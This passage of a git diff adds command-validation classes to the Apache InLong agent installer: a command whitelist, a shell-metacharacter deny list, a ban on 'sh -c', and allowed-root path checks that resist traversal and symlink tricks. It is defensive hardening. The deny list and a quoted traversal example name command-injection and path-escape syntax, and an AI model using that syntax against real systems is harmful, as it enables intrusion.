> readable = new ArrayList<>(sub.getPipeline().size());
+ for (String[] seg : sub.getPipeline()) {
+ readable.add(java.util.Arrays.asList(seg));
+ }
+ String pipelineStr = readable.size() == 1 ? readable.get(0).toString() : readable.toString();
+ return sub.getWorkDir() == null
+ ? pipelineStr
+ : (pipelineStr + " @ " + sub.getWorkDir());
+ }
+
+ /** Truncate a stderr/stdout summary to 1KB so it does not swamp INFO logs. */
+ private static String truncate(String s) {
+ if (s == null) {
+ return "";
+ }
+ return s.length() <= 1024 ? s : (s.substring(0, 1024) + "...(truncated)");
+ }
+
+ /**
+ * Best-effort masking of {@code password=xxx} / {@code token: yyy} style values in log
+ * output. The current commands do not carry such tokens, but this keeps a defensive net
+ * in place for future changes.
+ */
+ private static String sanitize(String s) {
+ if (s == null) {
+ return null;
+ }
+ return SENSITIVE_PATTERN.matcher(s).replaceAll("$1=***");
+ }
+
private boolean downloadModule(ModuleConfig module) {
LOGGER.info("download module {}({}) begin with url {}", module.getId(), module.getName(),
module.getPackageConfig().getDownloadUrl());
diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java
new file mode 100644
index 00000000000..8842f196a18
--- /dev/null
+++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java
@@ -0,0 +1,226 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.inlong.agent.installer.validator;
+
+import org.apache.inlong.agent.constant.AgentConstants;
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+
+import lombok.Getter;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Collections;
+import java.util.LinkedHashSet;
+import java.util.Set;
+
+/**
+ * Resolves the whitelist of root directories under which write-oriented commands
+ * (e.g. {@code rm/cp/mv/mkdir/ln/chmod/chown/tar/unzip}) are allowed to operate. Paths are
+ * compared with normalized {@link Path#startsWith(Path)}, which naturally rejects traversal
+ * attempts such as {@code ~/inlong/../../../etc}.
+ *
+ * Default roots: {@code $user.home/inlong}, {@code $user.home/inlong-agent},
+ * {@code agent.home} (from {@code -Dagent.home} JVM property or {@code installer.properties}),
+ * {@code $java.io.tmpdir}. Extra roots may be appended via the configuration key
+ * {@code installer.command.extraAllowedRoots} (comma separated).
+ */
+@Getter
+public final class AllowedRootsResolver {
+
+ /** Configuration key for extra allowed root directories (comma separated). */
+ public static final String KEY_EXTRA_ALLOWED_ROOTS = "installer.command.extraAllowedRoots";
+
+ private static final Logger LOGGER = LoggerFactory.getLogger(AllowedRootsResolver.class);
+
+ private static volatile AllowedRootsResolver instance;
+
+ /**
+ * -- GETTER --
+ * Return the immutable set of roots, mainly for logging and tests.
+ */
+ private final Set roots;
+
+ private AllowedRootsResolver(Set roots) {
+ this.roots = Collections.unmodifiableSet(roots);
+ }
+
+ /** Build an instance from the given path set (normalized). Intended primarily for tests. */
+ public static AllowedRootsResolver ofPaths(Path... paths) {
+ Set roots = new LinkedHashSet<>();
+ if (paths != null) {
+ for (Path p : paths) {
+ addRoot(roots, p);
+ }
+ }
+ return new AllowedRootsResolver(roots);
+ }
+
+ /** Return the default singleton, backed by {@link InstallerConfiguration}. */
+ public static AllowedRootsResolver getDefault() {
+ if (instance == null) {
+ synchronized (AllowedRootsResolver.class) {
+ if (instance == null) {
+ instance = build(InstallerConfiguration.getInstallerConf());
+ }
+ }
+ }
+ return instance;
+ }
+
+ /** Build an instance from the given configuration. */
+ public static AllowedRootsResolver build(InstallerConfiguration conf) {
+ Set roots = new LinkedHashSet<>();
+
+ String userHome = System.getProperty("user.home");
+ if (StringUtils.isNotBlank(userHome)) {
+ addRoot(roots, Paths.get(userHome, "inlong"));
+ addRoot(roots, Paths.get(userHome, "inlong-agent"));
+ addRoot(roots, Paths.get(userHome, "tmp"));
+ }
+
+ // agent.home resolution: -Dagent.home JVM system property first, then the same key
+ // from installer.properties as an override.
+ String agentHome = System.getProperty(AgentConstants.AGENT_HOME);
+ if (conf != null) {
+ String fromConf = conf.get(AgentConstants.AGENT_HOME, null);
+ if (StringUtils.isNotBlank(fromConf)) {
+ agentHome = fromConf;
+ }
+ }
+ if (StringUtils.isNotBlank(agentHome)) {
+ addRoot(roots, Paths.get(agentHome));
+ }
+
+ String tmpDir = System.getProperty("java.io.tmpdir");
+ if (StringUtils.isNotBlank(tmpDir)) {
+ addRoot(roots, Paths.get(tmpDir));
+ }
+
+ if (conf != null) {
+ String extra = conf.get(KEY_EXTRA_ALLOWED_ROOTS, "");
+ if (StringUtils.isNotBlank(extra)) {
+ for (String item : extra.split(",")) {
+ String trimmed = item == null ? "" : item.trim();
+ if (StringUtils.isNotBlank(trimmed)) {
+ addRoot(roots, Paths.get(trimmed));
+ }
+ }
+ }
+ }
+
+ LOGGER.info("AllowedRootsResolver initialized with roots: {}", roots);
+ return new AllowedRootsResolver(roots);
+ }
+
+ private static void addRoot(Set roots, Path p) {
+ if (p == null) {
+ return;
+ }
+ Path absolute = p.toAbsolutePath();
+ try {
+ roots.add(absolute.toRealPath());
+ } catch (IOException e) {
+ roots.add(absolute.normalize());
+ }
+ }
+
+ /**
+ * Test whether the given path lies under any allowed root (equal to a root also counts).
+ * Uses {@code Path#toRealPath()} when the path exists to defeat symlink-based bypass
+ * attempts. When the path does not exist yet (e.g. a {@code mkdir} target), it walks up
+ * to the nearest existing ancestor, resolves its real path, and splices the non-existent
+ * remainder back on before comparing.
+ *
+ * @param p a path; it is made absolute internally before the comparison.
+ */
+ public boolean isUnderAllowedRoot(Path p) {
+ if (p == null) {
+ return false;
+ }
+ Path absolute = p.toAbsolutePath();
+
+ // Path exists → resolve symlinks directly.
+ try {
+ Path real = absolute.toRealPath();
+ for (Path root : roots) {
+ if (real.startsWith(root)) {
+ return true;
+ }
+ }
+ return false;
+ } catch (IOException e) {
+ // Path does not exist yet (e.g. mkdir /new/dir). Walk up to the nearest
+ // existing ancestor, resolve its real path, and splice the remainder back.
+ }
+
+ Path existingParent = findExistingParent(absolute);
+ if (existingParent == null) {
+ // No part of the path exists; resort to normalize() only.
+ Path normalized = absolute.normalize();
+ for (Path root : roots) {
+ if (normalized.startsWith(root)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ try {
+ Path realParent = existingParent.toRealPath();
+ Path remainder = existingParent.relativize(absolute);
+ Path resolved = realParent.resolve(remainder).normalize();
+ for (Path root : roots) {
+ if (resolved.startsWith(root)) {
+ return true;
+ }
+ }
+ } catch (IOException ex) {
+ LOGGER.warn("Cannot resolve real path for existing parent: {}", existingParent, ex);
+ }
+ // Fall back to simple normalize in case the root set itself contains
+ // non-resolved paths (e.g. when a root directory did not exist at
+ // addRoot time and was stored via normalize() only).
+ Path normalized = absolute.normalize();
+ for (Path root : roots) {
+ if (normalized.startsWith(root)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Walk up the directory tree to find the nearest ancestor that actually exists.
+ *
+ * @param path an absolute path
+ * @return the first existing ancestor, or {@code null} if no part of the path exists
+ */
+ private Path findExistingParent(Path path) {
+ Path current = path;
+ while (current != null && !Files.exists(current)) {
+ current = current.getParent();
+ }
+ return current;
+ }
+
+}
diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java
new file mode 100644
index 00000000000..e754d0dbb62
--- /dev/null
+++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java
@@ -0,0 +1,166 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.inlong.agent.installer.validator;
+
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+
+import lombok.Getter;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+
+/**
+ * Resolves the effective command whitelist and write-like command sets by merging
+ * built-in baselines with deployer-supplied extras.
+ *
+ * Extras are supplied via {@value #KEY_EXTRA_COMMAND_WHITELIST} and
+ * {@value #KEY_EXTRA_WRITE_LIKE_COMMANDS} (comma-separated). Entries containing
+ * whitespace, path separators, or shell metacharacters are dropped to prevent
+ * config-source injection.
+ *
+ *
Default singleton backed by {@link InstallerConfiguration}.
+ */
+@Getter
+public final class CommandWhitelistResolver {
+
+ /** Config key for extra argv[0] whitelist entries (comma-separated). */
+ public static final String KEY_EXTRA_COMMAND_WHITELIST = "installer.command.extraCommandWhitelist";
+ /** Config key for extra write-like commands subject to allowed-root checks. */
+ public static final String KEY_EXTRA_WRITE_LIKE_COMMANDS = "installer.command.extraWriteLikeCommands";
+
+ /** Baseline argv[0] whitelist. */
+ public static final Set BASELINE_COMMAND_WHITELIST = buildImmutableSet(
+ "cd", "sh", "bash", "ps", "grep", "awk", "kill", "rm", "mkdir", "cp", "mv", "ln",
+ "tar", "unzip", "chmod", "chown", "echo", "cat", "test", "[", "true", "false", "java");
+
+ /** Baseline write-like commands whose path arguments trigger allowed-root checks. */
+ public static final Set BASELINE_WRITE_LIKE_COMMANDS = buildImmutableSet(
+ "rm", "cp", "mv", "mkdir", "ln", "chmod", "chown", "tar", "unzip");
+
+ private static final Logger LOGGER = LoggerFactory.getLogger(CommandWhitelistResolver.class);
+
+ /**
+ * Substring blacklist shared by command-level metacharacter scan and
+ * whitelist-entry validation. Includes glob wildcards ({@code *}, {@code ?})
+ * because {@link ProcessBuilder} does not perform glob expansion.
+ */
+ public static final String[] META_CHAR_BLACKLIST = {
+ "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000", "*", "?"
+ };
+
+ /**
+ * Superset of {@link #META_CHAR_BLACKLIST} used for whitelist-entry validation.
+ * Adds characters legal in a command string (path separators, delimiters consumed
+ * by the split layer, whitespace) but never legal in a bare command name.
+ */
+ private static final String[] ENTRY_ILLEGAL_SUBSTRINGS = concat(META_CHAR_BLACKLIST,
+ " ", "\t", "/", ";", "|");
+
+ private static String[] concat(String[] a, String... b) {
+ String[] r = new String[a.length + b.length];
+ System.arraycopy(a, 0, r, 0, a.length);
+ System.arraycopy(b, 0, r, a.length, b.length);
+ return r;
+ }
+
+ private static volatile CommandWhitelistResolver instance;
+
+ private final Set effectiveCommandWhitelist;
+ private final Set effectiveWriteLikeCommands;
+
+ private CommandWhitelistResolver(Set argv0, Set writeLike) {
+ this.effectiveCommandWhitelist = Collections.unmodifiableSet(argv0);
+ this.effectiveWriteLikeCommands = Collections.unmodifiableSet(writeLike);
+ }
+
+ /** Return the default singleton backed by {@link InstallerConfiguration}. */
+ public static CommandWhitelistResolver getDefault() {
+ if (instance == null) {
+ synchronized (CommandWhitelistResolver.class) {
+ if (instance == null) {
+ instance = build(InstallerConfiguration.getInstallerConf());
+ }
+ }
+ }
+ return instance;
+ }
+
+ /** Build from configuration, merging baselines with extra entries from config. */
+ public static CommandWhitelistResolver build(InstallerConfiguration conf) {
+ Set argv0 = new LinkedHashSet<>(BASELINE_COMMAND_WHITELIST);
+ Set writeLike = new LinkedHashSet<>(BASELINE_WRITE_LIKE_COMMANDS);
+ if (conf != null) {
+ argv0.addAll(parseConfigList(conf.get(KEY_EXTRA_COMMAND_WHITELIST, "")));
+ for (String extra : parseConfigList(conf.get(KEY_EXTRA_WRITE_LIKE_COMMANDS, ""))) {
+ writeLike.add(extra);
+ if (!argv0.contains(extra)) {
+ LOGGER.warn("'{}' listed in {} but not in argv[0] whitelist; "
+ + "write-like path check will not fire for it.",
+ extra, KEY_EXTRA_WRITE_LIKE_COMMANDS);
+ }
+ }
+ }
+ LOGGER.info("CommandWhitelistResolver initialized: argv0Whitelist={}, writeLikeCommands={}",
+ new TreeSet<>(argv0), new TreeSet<>(writeLike));
+ return new CommandWhitelistResolver(argv0, writeLike);
+ }
+
+ private static Set buildImmutableSet(String... items) {
+ Set s = new HashSet<>(items.length * 2);
+ Collections.addAll(s, items);
+ return Collections.unmodifiableSet(s);
+ }
+
+ /** Split comma-separated config value, dropping blank and illegal entries. */
+ public static List parseConfigList(String raw) {
+ List out = new ArrayList<>();
+ if (StringUtils.isBlank(raw)) {
+ return out;
+ }
+ for (String item : raw.split(",")) {
+ String trimmed = item.trim();
+ if (trimmed.isEmpty()) {
+ continue;
+ }
+ String reason = firstIllegalReason(trimmed);
+ if (reason != null) {
+ LOGGER.warn("Dropping illegal config entry '{}': {}", trimmed, reason);
+ continue;
+ }
+ out.add(trimmed);
+ }
+ return out;
+ }
+
+ private static String firstIllegalReason(String entry) {
+ for (String s : ENTRY_ILLEGAL_SUBSTRINGS) {
+ if (entry.contains(s)) {
+ return "contains '" + s + "'";
+ }
+ }
+ return null;
+ }
+}
diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java
new file mode 100644
index 00000000000..b5a1d9077f2
--- /dev/null
+++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java
@@ -0,0 +1,507 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.inlong.agent.installer.validator;
+
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+
+import lombok.Getter;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.File;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+
+/**
+ * Structured whitelist validator for raw command strings from {@code ModuleConfig}.
+ * Whistlists are resolved by {@link CommandWhitelistResolver}, allowed-root checks by
+ * {@link AllowedRootsResolver}.
+ */
+public final class ModuleCommandValidator {
+
+ // -- metacharacter blacklist --
+
+ public static final String RULE_DISALLOWED_META_CHAR = "DISALLOWED_META_CHAR";
+ public static final String RULE_NOT_IN_WHITELIST = "NOT_IN_WHITELIST";
+ public static final String RULE_PATH_NOT_UNDER_ALLOWED_ROOT = "PATH_NOT_UNDER_ALLOWED_ROOT";
+ public static final String RULE_FORBIDDEN_SH_C_FLAG = "FORBIDDEN_SH_C_FLAG";
+ public static final String RULE_EMPTY_COMMAND = "EMPTY_COMMAND";
+
+ private static final Logger LOGGER = LoggerFactory.getLogger(ModuleCommandValidator.class);
+
+ private final AllowedRootsResolver allowedRootsResolver;
+ private final CommandWhitelistResolver whitelistResolver;
+
+ /** Construct a validator using baseline whitelists only (no config extras). */
+ public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver) {
+ this.allowedRootsResolver = allowedRootsResolver;
+ this.whitelistResolver = CommandWhitelistResolver.build(null);
+ LOGGER.info("ModuleCommandValidator initialized: argv0Whitelist={}, writeLikeCommands={}",
+ new TreeSet<>(whitelistResolver.getEffectiveCommandWhitelist()),
+ new TreeSet<>(whitelistResolver.getEffectiveWriteLikeCommands()));
+ }
+
+ /** Construct a validator with whitelists extended by the given configuration. */
+ public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, InstallerConfiguration conf) {
+ this.allowedRootsResolver = allowedRootsResolver;
+ this.whitelistResolver = CommandWhitelistResolver.build(conf);
+ // init log already emitted by CommandWhitelistResolver.build()
+ }
+
+ /** Effective argv[0] whitelist enforced at runtime. */
+ public Set getEffectiveCommandWhitelist() {
+ return whitelistResolver.getEffectiveCommandWhitelist();
+ }
+
+ /** Effective write-like set that triggers allowed-root checks at runtime. */
+ public Set getEffectiveWriteLikeCommands() {
+ return whitelistResolver.getEffectiveWriteLikeCommands();
+ }
+
+ /** Validate a raw command string. */
+ public ValidationResult validate(String rawCmd) {
+ if (StringUtils.isBlank(rawCmd)) {
+ return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd, "raw command is blank");
+ }
+
+ // Scan the whole command for metacharacters first, so a hostile sub-command cannot
+ // bypass the check by hiding after ';'.
+ String metaHit = firstMetaCharHit(rawCmd);
+ if (metaHit != null) {
+ String reason = "hit meta char: " + metaHit;
+ if ("*".equals(metaHit) || "?".equals(metaHit)) {
+ reason = reason + " — glob wildcards are not supported (Agent runs commands"
+ + " without a shell, so '*' and '?' will NOT be expanded);"
+ + " please specify explicit file paths";
+ }
+ return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, reason);
+ }
+ if (rawCmd.indexOf('\n') >= 0 || rawCmd.indexOf('\r') >= 0) {
+ return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd,
+ "hit line-break char");
+ }
+
+ // Split by ';' into sub-commands, then by '|' into pipe segments, then tokenize each
+ // segment into argv. Both splitters honour single/double quotes so a ';' or '|'
+ // inside quotes is preserved as a literal character, matching how a POSIX shell
+ // parses the command line.
+ List subs = new ArrayList<>();
+ List segments = splitTopLevel(rawCmd, ';');
+ if (segments == null) {
+ return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd,
+ "unterminated quote in raw command");
+ }
+ for (String seg : segments) {
+ String trimmed = seg == null ? "" : seg.trim();
+ if (trimmed.isEmpty()) {
+ continue;
+ }
+ ParsedSubCmd sub = parseSubCmd(trimmed);
+ if (sub == null) {
+ return ValidationResult.fail(RULE_EMPTY_COMMAND, trimmed,
+ "sub-command tokenized to empty");
+ }
+ subs.add(sub);
+ }
+ if (subs.isEmpty()) {
+ return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd,
+ "no sub-command after split by ';'");
+ }
+
+ // run the argv[0] whitelist and the argument policy check.
+ for (ParsedSubCmd sub : subs) {
+ ValidationResult r = validateSubCmd(sub);
+ if (!r.isOk()) {
+ return r;
+ }
+ }
+
+ // Absorb 'cd' sub-commands into the working directory of the following sub-command.
+ List parsed = extractCdAndBind(subs);
+
+ return ValidationResult.ok(parsed);
+ }
+
+ private ValidationResult validateSubCmd(ParsedSubCmd sub) {
+ for (String[] argv : sub.getPipeline()) {
+ if (argv == null || argv.length == 0) {
+ return ValidationResult.fail(RULE_EMPTY_COMMAND, sub.getRawSegment(),
+ "empty pipeline segment");
+ }
+ String cmd = argv[0];
+
+ if (!whitelistResolver.getEffectiveCommandWhitelist().contains(cmd)) {
+ return ValidationResult.fail(RULE_NOT_IN_WHITELIST, sub.getRawSegment(),
+ "command '" + cmd + "' is not in whitelist");
+ }
+
+ ValidationResult r = validateArguments(argv, sub.getRawSegment());
+ if (!r.isOk()) {
+ return r;
+ }
+ }
+ return ValidationResult.okPending();
+ }
+
+ private ValidationResult validateArguments(String[] argv, String rawSegment) {
+ String cmd = argv[0];
+
+ if ("sh".equals(cmd) || "bash".equals(cmd)) {
+ for (int i = 1; i < argv.length; i++) {
+ if (argv[i].startsWith("-c")) {
+ return ValidationResult.fail(RULE_FORBIDDEN_SH_C_FLAG, rawSegment,
+ cmd + " must not use -c to run inline scripts");
+ }
+ }
+ String script = firstNonOptionArg(argv);
+ if (looksLikePath(script)) {
+ ValidationResult pathR = checkPathUnderRoot(script, rawSegment);
+ if (!pathR.isOk()) {
+ return pathR;
+ }
+ }
+ return ValidationResult.okPending();
+ }
+
+ if ("cd".equals(cmd)) {
+ if (argv.length < 2) {
+ return ValidationResult.okPending();
+ }
+ return checkPathUnderRoot(argv[1], rawSegment);
+ }
+
+ if (whitelistResolver.getEffectiveWriteLikeCommands().contains(cmd)) {
+ for (int i = 1; i < argv.length; i++) {
+ String arg = argv[i];
+ if (arg.startsWith("-") || !looksLikePath(arg)) {
+ continue;
+ }
+ ValidationResult pathR = checkPathUnderRoot(arg, rawSegment);
+ if (!pathR.isOk()) {
+ return pathR;
+ }
+ }
+ }
+
+ return ValidationResult.okPending();
+ }
+
+ private ValidationResult checkPathUnderRoot(String rawPath, String rawSegment) {
+ try {
+ String expanded = expandTilde(rawPath);
+ Path p = Paths.get(expanded).toAbsolutePath().normalize();
+ if (!allowedRootsResolver.isUnderAllowedRoot(p)) {
+ return ValidationResult.fail(RULE_PATH_NOT_UNDER_ALLOWED_ROOT, rawSegment,
+ "path '" + rawPath + "' (normalized=" + p + ") is not under any allowed root: "
+ + allowedRootsResolver.getRoots());
+ }
+ } catch (Exception e) {
+ return ValidationResult.fail(RULE_PATH_NOT_UNDER_ALLOWED_ROOT, rawSegment,
+ "path '" + rawPath + "' cannot be normalized: " + e.getMessage());
+ }
+ return ValidationResult.okPending();
+ }
+
+ /** Expand a leading {@code ~} on the Java side; {@link ProcessBuilder} does not. */
+ public static String expandTilde(String path) {
+ if (path == null) {
+ return null;
+ }
+ String userHome = System.getProperty("user.home");
+ if (StringUtils.isBlank(userHome)) {
+ return path;
+ }
+ if ("~".equals(path)) {
+ return userHome;
+ }
+ if (path.startsWith("~/")) {
+ return userHome + path.substring(1);
+ }
+ return path;
+ }
+
+ /**
+ * Remove {@code cd DIR} sub-commands from the execution sequence and turn each of them
+ * into the {@link ParsedSubCmd#workDir} of the sub-commands that follow it.
+ *
+ * Semantics: a {@code cd} affects every subsequent sub-command until the next
+ * {@code cd} is encountered, matching what a POSIX shell does with a single CWD per
+ * session. This means the following raw command runs {@code mkdir} and
+ * {@code tar} both inside {@code /opt/packages}:
+ *
+ *
{@code cd /opt/packages ; mkdir -p inlong-agent ; tar -xzvf pkg.tar.gz -C inlong-agent}
+ */
+ public static List extractCdAndBind(List subs) {
+ List result = new ArrayList<>(subs.size());
+ File currentWorkDir = null;
+ for (ParsedSubCmd sub : subs) {
+ String[] argv = sub.getPipeline().get(0);
+ if (argv.length >= 1 && "cd".equals(argv[0])) {
+ if (argv.length >= 2) {
+ String expanded = expandTilde(argv[1]);
+ currentWorkDir = Paths.get(expanded).toAbsolutePath().normalize().toFile();
+ }
+ continue;
+ }
+ if (currentWorkDir != null) {
+ sub.setWorkDir(currentWorkDir);
+ }
+ result.add(sub);
+ }
+ return result;
+ }
+
+ private static ParsedSubCmd parseSubCmd(String segment) {
+ List pipeSegs = splitTopLevel(segment, '|');
+ if (pipeSegs == null) {
+ // unterminated quote within a sub-command; caller treats null as empty/invalid.
+ return null;
+ }
+ List pipeline = new ArrayList<>(pipeSegs.size());
+ for (String pipeSeg : pipeSegs) {
+ String trimmed = pipeSeg == null ? "" : pipeSeg.trim();
+ if (trimmed.isEmpty()) {
+ return null;
+ }
+ String[] argv = tokenize(trimmed);
+ if (argv.length == 0) {
+ return null;
+ }
+ pipeline.add(argv);
+ }
+ boolean piped = pipeline.size() > 1;
+ return new ParsedSubCmd(pipeline, segment, piped);
+ }
+
+ /**
+ * Quote-aware split of {@code raw} on the top-level {@code delim} character. Characters
+ * inside a single-quoted or double-quoted region are treated as literals and do not
+ * split the string. Returns {@code null} when the input has an unterminated quote so
+ * that the caller can surface a validation error rather than silently mis-parse.
+ *
+ * Unlike {@link String#split(String)}, an empty leading, middle or trailing region is
+ * preserved in the result so that callers can decide how to handle it.
+ */
+ static List splitTopLevel(String raw, char delim) {
+ List out = new ArrayList<>();
+ if (raw == null) {
+ out.add("");
+ return out;
+ }
+ StringBuilder cur = new StringBuilder();
+ char quote = 0;
+ for (int i = 0; i < raw.length(); i++) {
+ char c = raw.charAt(i);
+ if (quote != 0) {
+ cur.append(c);
+ if (c == quote) {
+ quote = 0;
+ }
+ continue;
+ }
+ if (c == '\'' || c == '"') {
+ quote = c;
+ cur.append(c);
+ continue;
+ }
+ if (c == delim) {
+ out.add(cur.toString());
+ cur.setLength(0);
+ continue;
+ }
+ cur.append(c);
+ }
+ if (quote != 0) {
+ return null;
+ }
+ out.add(cur.toString());
+ return out;
+ }
+
+ /**
+ * Whitespace-based tokenizer that honours single/double quotes so that quoted spaces are
+ * preserved. The metacharacter layer has already rejected backticks, {@code $(} and
+ * friends, so no further shell-style escaping is needed here.
+ */
+ private static String[] tokenize(String s) {
+ List tokens = new ArrayList<>();
+ StringBuilder cur = new StringBuilder();
+ char quote = 0;
+ for (int i = 0; i < s.length(); i++) {
+ char c = s.charAt(i);
+ if (quote != 0) {
+ if (c == quote) {
+ quote = 0;
+ } else {
+ cur.append(c);
+ }
+ continue;
+ }
+ if (c == '\'' || c == '"') {
+ quote = c;
+ continue;
+ }
+ if (Character.isWhitespace(c)) {
+ if (cur.length() > 0) {
+ tokens.add(cur.toString());
+ cur.setLength(0);
+ }
+ continue;
+ }
+ cur.append(c);
+ }
+ if (cur.length() > 0) {
+ tokens.add(cur.toString());
+ }
+ return tokens.toArray(new String[0]);
+ }
+
+ private static String firstMetaCharHit(String raw) {
+ for (String meta : CommandWhitelistResolver.META_CHAR_BLACKLIST) {
+ if (raw.contains(meta)) {
+ return meta;
+ }
+ }
+ return null;
+ }
+
+ private static String firstNonOptionArg(String[] argv) {
+ for (int i = 1; i < argv.length; i++) {
+ if (!argv[i].startsWith("-")) {
+ return argv[i];
+ }
+ }
+ return null;
+ }
+
+ /** {@code true} when the argument looks like a path (absolute/relative/contains {@code /}/starts with {@code ~}). */
+ private static boolean looksLikePath(String arg) {
+ if (arg == null || arg.isEmpty()) {
+ return false;
+ }
+ return arg.startsWith("/") || arg.startsWith("~") || arg.startsWith("./") || arg.startsWith("../")
+ || arg.contains("/");
+ }
+
+ /**
+ * A single sub-command produced by splitting the raw command on {@code ;}. It may contain
+ * multiple pipe segments produced by splitting on {@code |}.
+ */
+ @Getter
+ public static final class ParsedSubCmd {
+
+ private final List pipeline;
+ private final String rawSegment;
+ private final boolean piped;
+ private File workDir;
+ private boolean allowFailure;
+ private boolean pipedThroughShell;
+
+ public ParsedSubCmd(List pipeline, String rawSegment, boolean piped) {
+ this.pipeline = pipeline;
+ this.rawSegment = rawSegment;
+ this.piped = piped;
+ }
+
+ /** Return the argv of a plain sub-command, or the argv of the first pipe segment. */
+ public String[] getArgv() {
+ return pipeline.get(0);
+ }
+
+ public void setWorkDir(File workDir) {
+ this.workDir = workDir;
+ }
+
+ public void setAllowFailure(boolean allowFailure) {
+ this.allowFailure = allowFailure;
+ }
+
+ public void setPipedThroughShell(boolean pipedThroughShell) {
+ this.pipedThroughShell = pipedThroughShell;
+ }
+
+ @Override
+ public String toString() {
+ List> readable = new ArrayList<>(pipeline.size());
+ for (String[] seg : pipeline) {
+ readable.add(Arrays.asList(seg));
+ }
+ return "ParsedSubCmd{pipeline=" + readable + ", workDir=" + workDir + "}";
+ }
+ }
+
+ /**
+ * Validation result. When {@link #isOk()} is {@code true}, {@link #getParsed()} returns
+ * the split sub-commands ready for execution; otherwise {@link #getRuleName()},
+ * {@link #getFailedSubCmd()} and {@link #getMessage()} describe the failure.
+ */
+ @Getter
+ public static final class ValidationResult {
+
+ private static final ValidationResult OK_PENDING = new ValidationResult(true, null, null, null,
+ Collections.emptyList());
+
+ private final boolean ok;
+ private final String ruleName;
+ private final String failedSubCmd;
+ private final String message;
+ private final List parsed;
+
+ private ValidationResult(boolean ok, String ruleName, String failedSubCmd, String message,
+ List parsed) {
+ this.ok = ok;
+ this.ruleName = ruleName;
+ this.failedSubCmd = failedSubCmd;
+ this.message = message;
+ this.parsed = parsed;
+ }
+
+ static ValidationResult ok(List parsed) {
+ return new ValidationResult(true, null, null, null, Collections.unmodifiableList(parsed));
+ }
+
+ /**
+ * Internal marker returned when a single sub-command has passed but the whole command
+ * is still being aggregated.
+ */
+ static ValidationResult okPending() {
+ return OK_PENDING;
+ }
+
+ static ValidationResult fail(String ruleName, String failedSubCmd, String message) {
+ LOGGER.debug("ModuleCommandValidator reject: rule={}, sub={}, msg={}",
+ ruleName, failedSubCmd, message);
+ return new ValidationResult(false, ruleName, failedSubCmd, message,
+ Collections.emptyList());
+ }
+
+ @Override
+ public String toString() {
+ return ok ? ("ValidationResult{ok=true, parsed=" + parsed + "}")
